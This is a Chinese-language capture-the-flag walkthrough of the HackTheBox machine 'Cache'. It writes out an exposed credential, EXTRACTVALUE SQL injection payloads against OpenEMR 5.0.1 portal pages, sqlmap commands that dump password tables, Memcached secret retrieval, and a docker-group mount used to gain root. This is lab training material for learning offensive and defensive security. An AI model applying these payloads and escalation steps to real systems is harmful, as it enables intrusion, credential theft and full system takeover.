信息收集
80端口
主页是一些hacker的介绍。
作者介绍能收集可能的用户名ASH以及有一个其他项目可能有用,如下:
“Check out his other projects like Cache:HMS(Hospital Management System) “
还有一个Contact业务,输入超链接测试是否存在脚本会访问连接。同时也进行sql注入测试,均无收获。
看看登陆业务。
随便输入会进入一个建设中的页面。
目录扫描
查看与login有关的js,所以说为什么我能随便输入账号密码登录呢。
还是把这个留在这里吧:ash:H@v3_fun
。额,线索断了,别忘了作者还有一个HMS(Hospital Management System)
。尝试添加hms.htb
并访问。
对hms.htb进行目录扫描。
在http://hms.htb/admin.php发现了OpenEMR的版本是5.0.1(3)。
http://hms.htb/portal/还有一个患者门户的登陆业务。
到最后一步发送请求就没动静了。
知道了具体的版本后可以查看一下版本漏洞。这有一篇5.0.1的漏洞报告。
从中知道sql_patch.php也可以查看版本。
跟着报告走一遍看看能不能利用成功。
先到前面的病患门户那个界面。
再导航到/portal/add_edit_event_user.php
接着导航到/portal/get_profile.php
文章所说在这会有几个SQL注入的漏洞。选了个短的方便注入。
add_edit_event_user.php?eid=1 AND EXTRACTVALUE(0,CONCAT(0x5c,VERSION()))
查询表名1 AND EXTRACTVALUE(0,CONCAT(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
。
感觉没显示完全,配合截断看看。
1 AND EXTRACTVALUE(0,CONCAT(0x5c,(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),15,30))))
算了还是用burp suite跑算了。确实有点多。
先去看看sqlmap怎么说,如果不行就写脚本来跑。貌似这个绕过验证的漏洞是有时间限制。请求复制下来。
获取数据库:sqlmap -r res -dbs
获取表名:sqlmap -r res -D openemr -table
查看users_secure表:sqlmap -r res -D openemr -T users_secure --dump
这样我们有了两个密码,也可能是openemr_admin:xxxxxx
去试试吧,exploit。
能够执行命令。
立足
反弹shell。
有两个用户。
www-data -> ash
利用我们前面获得的凭证登录ash。
ash -> luffy
本地的11211端口在监听。
可能是Memcached。
Memcached
是一种易于使用的高性能内存数据存储。它提供了一项成熟的可扩展开源解决方案,能够实现亚毫秒级响应时间并用作缓存或会话存储。Memcached
非常热门,可为 Web、移动应用程序、游戏、广告技术和电子商务领域的实时应用程序提供支持。
使用telnet 127.0.0.1 11211
连接。
获取所有key:stats items
查询items 1的内容:stats cachedump 1 0
get获取user和passwd:get user get passwd
先输入ctrl+]
,再输入quit
退出。
使用我们获取的密码切换到路飞。
luffy -> root
查看id能够看到luffy在docker组。
查看容器。
有一个ubuntu,挂载它。
docker run -it -v /:/host/ ubuntu chroot /host/ bash (将其挂载到chroot上)
制作shell。
退出docker,在根目录发现bash。